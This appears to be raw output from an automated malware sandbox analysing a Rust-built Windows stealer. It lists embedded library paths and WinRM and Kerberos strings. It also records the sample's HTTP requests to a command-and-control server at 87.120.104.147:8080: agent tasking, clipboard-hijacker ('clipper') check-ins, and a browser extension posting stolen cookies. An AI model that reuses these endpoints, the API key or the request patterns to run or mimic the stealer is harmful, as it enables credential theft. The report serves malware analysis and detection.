"/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/blocking/shutdown.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/handle.rs" Heuristic match: "there is no reactor running, must be called from the context of a tokio 1.x runtime/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/metrics/worker.rs" Heuristic match: "id/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/sync/notify.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/sync/oneshot.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/time/interval.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/time/sleep.rs" Heuristic match: "assertion failed: value <= self.max_value()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/util/bit.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/util/sharded_list.rs" Heuristic match: "rng seed generator is internally corrupt/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/util/rand/rt.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/bytes.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/bytes_mut.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\sync.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/once_cell-1.21.3/src/lib.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\iter.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/block-buffer-0.10.4/src/lib.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\str\mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.1/src/header/map.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sha1-0.10.6/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/webpki/anchors.rs" Heuristic match: "endentitychain/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/buf_impl.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\boxed.rs" Heuristic match: "webpkiserververifierrootscrlsrevocation_check_depthunknown_revocation_policysupported/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/buffer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/client.rs" Heuristic match: "...gethostconnectionupgradewebsocketsec-websocket-version13sec-websocket-key/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/handshake/client.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/handshake/machine.rs" Heuristic match: "bug: opcode out of range/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/protocol/frame/coding.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/protocol/frame/frame.rs" Heuristic match: ">websocketconfig::max_write_buffer_size must be greater than write_buffer_size, see websocketconfig docs`/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/protocol/mod.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\mod.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\index.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\str\pattern.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\vec\mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/host.rs" Heuristic match: "ftphttphttpswswssfile:///usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/parser.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/utf-8-0.7.6/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/utf8_iter-1.0.4/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/want-0.3.1/src/lib.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\thread\local.rs" Heuristic match: "a display implementation returned an error unexpectedly/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\string.rs" Heuristic match: "rsaparameterspadding_algmin_bits/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.101.7/src/der.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.101.7/src/calendar.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.101.7/src/subject_name/dns_name.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.101.7/src/subject_name/ip_address.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.101.7/src/verify_cert.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.101.7/src/x509.rs" Heuristic match: "internal error: entered unreachable codeendofinput/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/untrusted-0.9.0/src/reader.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/der.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/subject_name/dns_name.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/subject_name/ip_address.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/time.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/crl/types.rs" Heuristic match: "assertion failed: public_values_eq(path.cert.issuer, issuer_subject)/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/crl/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/verify_cert.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-webpki-0.102.8/src/x509.rs" Heuristic match: "not valid unicode/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/whoami-1.6.1/src/os/windows.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/windows-core-0.52.0/src/imp/ref_count.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\slice.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/winreg-0.52.0/src/reg_key.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\iter\traits\iterator.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\raw_vec\mod.rs" Heuristic match: "assertion failed: n <= self.buf.init - self.buf.filled/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\io\borrowed_buf.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\io\mod.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\io\impls.rs" Heuristic match: "corrupt deflate stream/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/flate2-1.1.9/src/deflate/read.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/flate2-1.1.9/src/bufreader.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-0.6.6/src/cp437.rs" Heuristic match: "invalid checksum/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-0.6.6/src/crc32.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-0.6.6/src/read.rs" Pattern match: "www.microsoft.com,name:microsoftapplicationstelemetrydeviceid,value:caf5348f-a291-4454-8cca-b54628dce2cb,path:/,secure:true,http_only:false,expires:2027-02-01t13:45:46.485z},{bot_id:33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d545" Pattern match: "http://87.120.104.147:8080r" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treenode.textcontent = '" - Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found URL "http://87.120.104.147:8080" - Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found URL "https://docs.rs/getrandom" - Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found URL "http:///usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/proxy.rsno_proxyno_proxyunknown" - Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found URL "https://should" - Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found URL "https://docs.rs/rustls/latest/rustls/manual/_03_howto/index.html" - Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")5a:T25f5,Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/checkin HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 507accept: */*host: 87.120.104.147:8080" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6co" in header "POST /api/v1/checkin HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 507accept: */*host: 87.120.104.147:8080" Contains base62 string in header "33BA5E6CFFDEA17102BEA5CA0ED819099" in header "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6ac" in header "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/agent/tasks/205792/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6co" in header "POST /api/v1/agent/tasks/205792/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/clipper/checkin HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "GET /api/v1/clipper/config HTTP/1.1accept: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/clipper/ping HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/agent/tasks/205793/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6co" in header "POST /api/v1/agent/tasks/205793/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/agent/tasks/205794/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6co" in header "POST /api/v1/agent/tasks/205794/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/agent/tasks/205795/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6co" in header "POST /api/v1/agent/tasks/205795/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6Ac" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "hkaopoilcdlhchigljlbkjlehdiplmceA" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6Ac" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "hkaopoilcdlhchigljlbkjlehdiplmceA" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "2570969028d66df9fea824c47fd111c40" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "41f1338aab7d46a3c0dcb0721fe90f6Ac" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base62 string in header "hkaopoilcdlhchigljlbkjlehdiplmceA" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9"5b:Tdae,file/memory contains long string with (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The client certificate exceeded the maximum size allowed by the WinRM service.%n%n User Action %n Please use a different client certificate or a different authentication mechanism." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "Request processing failed because the WinRM service cannot load data or event source: DLL="%1" %n%n User Action %n Please check if "%1" exists. %n%n Additional Data %n Loading %1 failed with error="%2" (%%%2)." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service is unable to start because of a failure during initialization. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service has received an unsecure HTTP connection from %1. %n%n This is not a secure configuration. %n%n User Action %n Set AllowUnencrypted to False in WinRM configuration to ensure packets are encrypted on the wire." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service encountered a catastrophic security failure. The service can no longer run under its security context. %n%n User Action %n Stop and restart the WinRM service. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with IP address %1, Port %2 and Transport %3. A listener that has Address=%4 and Transport=%5 configuration already exists." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with Address %1 and Transport %2. A listener that has the same Address and Transport configuration already exists." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service had a failure during migration. %n%n User Action %n Create the configuration again using the WinRM command line tool. %n%n Additional Data %n The error code is: %1 %%%1" (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service had a failure applying the current configuration and is stopping. %n%n User Action %n Check for previous event log messages and restart the service." (Indicator: "winrm "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service is listening for WS-Management requests. %n%n User Action %n Use the following command to see the specific IPs on which WinRM is listening: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service is not listening for WS-Management requests. %n%n User Action %n If you did not intentionally stop the service, use the following command to see the WinRM configuration: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp")5c:T13bb,Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Kerberos Service Ticket Operations" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Kerberos Authentication Service" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "To use Kerberos, specify the computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Specify one of the authentication mechanisms supported by the server. If Kerberos mechanism is used," (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "-Kerberos is used when no authentication method and no user name are specified.%n" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "-Kerberos accepts domain user names, but not local user names.%n" (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WSMan client cannot process the request. Proxy is not supported when the authentication mechanism with the server is Kerberos or CredSSP." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Configure service to allow authenticating requests using Kerberos protocol." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Modify the GP setting "Disallow Kerberos authentication" to either "Not Configured" or "Disabled"." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") file/memory contains long string with (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. The SPN Server Port can only be used when the authentication mechanism is Negotiate or Kerberos." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication is currently disabled in the client configuration." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain," (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Kerberos authentication cannot be used when the destination is an IP address." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication cannot be used with implicit credentials if the client computer is not joined to a domain." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Use explicit credentials or specify a different authentication mechanism than Kerberos." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "You can explicitly specify a different authentication mechanism than Kerberos or specify the remote host as a DNS name or NetBIOS name." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM service supports the following profiles: Negotiate or Kerberos over HTTP, Negotiate or Kerberos over HTTPS, and mutual certificate authentication over HTTPS using issuer thumbprints." (Indicator: "kerberos"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp")5d:T4ca,Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "file") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; File: "file") Found reference to API "NtQueryInformationProcess" (Indicator: 